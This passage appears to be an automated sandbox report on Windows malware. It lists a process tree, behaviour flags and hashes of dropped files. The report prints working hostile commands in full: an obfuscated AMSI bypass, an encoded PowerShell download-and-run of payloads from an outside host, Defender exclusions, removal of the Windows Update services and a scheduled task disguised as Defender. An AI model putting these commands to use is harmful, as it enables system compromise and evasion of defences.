allingConventions]::Standard,$TmjxVXisrQLHDV).SetImplementationFlags(''+'R'+'u'+'n'+''+[Char](116)+''+'i'+''+'m'+''+[Char](101)+''+[Char](44)+''+'M'+''+'a'+''+'n'+''+[Char](97)+''+[Char](103)+''+'e'+'d');$EleTVnXwjlH.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+'k'+''+[Char](101)+'','Pu'+'b'+'li'+'c'+''+','+''+[Char](72)+''+'i'+''+[Char](100)+'e'+[Char](66)+''+'y'+'S'+'i'+''+'g'+''+[Char](44)+''+[Char](78)+''+'e'+'w'+[Char](83)+''+[Char](108)+''+'o'+'t'+[Char](44)+'V'+[Char](105)+'r'+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$ALqBgJofQv,$TmjxVXisrQLHDV).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'nt'+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+''+'g'+''+[Char](101)+'d');Write-Output $EleTVnXwjlH.CreateType();}$pkYzzjqXMCAYG=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'y'+[Char](115)+''+'t'+''+[Char](101)+''+[Char](109)+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+'i'+[Char](99)+''+[Char](114)+''+[Char](111)+''+'s'+'o'+[Char](102)+''+[Char](116)+'.W'+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](85)+'n'+'s'+''+'a'+''+[Char](102)+'e'+[Char](112)+''+[Char](107)+''+[Char](89)+'z'+'z'+''+[Char](106)+''+[Char](113)+''+'X'+''+[Char](77)+''+[Char](67)+''+[Char](65)+''+[Char](89)+'G');$XkjLhYMmtNblqA=$pkYzzjqXMCAYG.GetMethod('X'+'k'+''+[Char](106)+''+[Char](76)+''+'h'+''+'Y'+''+[Char](77)+''+'m'+''+[Char](116)+''+[Char](78)+''+[Char](98)+''+[Char](108)+''+'q'+''+'A'+'',[Reflection.BindingFlags]''+'P'+''+'u'+'b'+'l'+'i'+'c'+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+'i'+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$xBBDOjpIUSufsKCjBGE=ZDoRSqLTwuVI @([String])([IntPtr]);$WplxYwYCBbYcsyjJOatpzi=ZDoRSqLTwuVI @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$OxoXXXrKNpx=$pkYzzjqXMCAYG.GetMethod(''+[Char](71)+''+'e'+'t'+[Char](77)+''+[Char](111)+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+'d'+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+'l'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l')));$KmHyigoUXsAAax=$XkjLhYMmtNblqA.Invoke($Null,@([Object]$OxoXXXrKNpx,[Object](''+[Char](76)+''+[Char](111)+''+'a'+'dL'+[Char](105)+''+[Char](98)+''+'r'+''+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$GFeXSEAfAKtvLjfXq=$XkjLhYMmtNblqA.Invoke($Null,@([Object]$OxoXXXrKNpx,[Object](''+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+'u'+''+'a'+''+[Char](108)+'P'+'r'+''+'o'+'t'+'e'+''+'c'+''+'t'+'')));$traoJCt=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($KmHyigoUXsAAax,$xBBDOjpIUSufsKCjBGE).Invoke('a'+'m'+'s'+[Char](105)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$UpEKVGZpIrcHCLmFs=$XkjLhYMmtNblqA.Invoke($Null,@([Object]$traoJCt,[Object](''+[Char](65)+'m'+'s'+''+'i'+'Sc'+[Char](97)+''+[Char](110)+''+[Char](66)+''+'u'+''+[Char](102)+''+[Char](102)+''+'e'+''+[Char](114)+'')));$QvdDmxIGWK=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GFeXSEAfAKtvLjfXq,$WplxYwYCBbYcsyjJOatpzi).Invoke($UpEKVGZpIrcHCLmFs,[uint32]8,4,[ref]$QvdDmxIGWK);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$UpEKVGZpIrcHCLmFs,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GFeXSEAfAKtvLjfXq,$WplxYwYCBbYcsyjJOatpzi).Invoke($UpEKVGZpIrcHCLmFs,[uint32]8,0x20,[ref]$QvdDmxIGWK);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'OF'+[Char](84)+''+'W'+'A'+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+'l'+[Char](101)+'rst'+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4376
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1184
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1196
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1348
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1204
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1368
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1388
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1408
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1536
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1552
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1604
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s FontCache1⤵PID:1624
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1692
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1856
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1848
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1720
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1864
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1876
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2044
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1936
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:1772
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:2080
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C:\Users\Admin\AppData\Local\Temp\1d678410484e34165adb652f7e86a2b5cae5f58d.exe"C:\Users\Admin\AppData\Local\Temp\1d678410484e34165adb652f7e86a2b5cae5f58d.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3540 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵PID:916
-
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:960 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4920 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:1544
-
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3580 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4244
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3580 -s 2766⤵
- Program crash
PID:3756
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4524
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:220
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3540 -s 2523⤵
- Program crash
PID:4932
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3132
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3280 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:828
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:4620
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:756
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:3540
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:2424
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:1668
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:2452
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:2868
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:5012
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:3108
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4176
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:1364
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 3540 -ip 35401⤵PID:4940
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3580 -ip 35801⤵PID:2872
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
19KB
MD598b88167302a32cc363012c8baba34c0
SHA1f15fb0c90dfc8f3cde37c8fb20950a2cdf71a46b
SHA2568adfd0df32ed33813bbf6e636b94c347286e3a232c08243a1b1cb5fe9eef97fd
SHA512c5be46a702c71340ffe1fc392c9fbeb240622bd42171d65609c1c917b4a669442edafe25e8d11665ed2bae25db0ac5c3aaab7faa57b6dd1cf392d31219531f19
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Filesize
948B
MD5a7ce8cefc3f798abe5abd683d0ef26dd
SHA1b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e
SHA2565e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
SHA512c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
477KB
MD53753f9966e5b4fdc87184c1749f2bd25
SHA169b76e86bfb4fcf4c0eb2f5fc8b71356e9f4e756
SHA2560f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
SHA5123283dfee96e0089873336f3c699604eb33d5c091cdf65a193d4f8e1850625823f62dc02d242290dfd10c10f127bfec26f55b6438fc9ab2c0dd5c9f7cb764e8b6
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Filesize
477KB
MD53753f9966e5b4fdc87184c1749f2bd25
SHA169b76e86bfb4fcf4c0eb2f5fc8b71356e9f4e756
SHA2560f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
SHA5123283dfee96e0089873336f3c699604eb33d5c091cdf65a193d4f8e1850625823f62dc02d242290dfd10c10f127bfec26f55b6438fc9ab2c0dd5c9f7cb764e8b6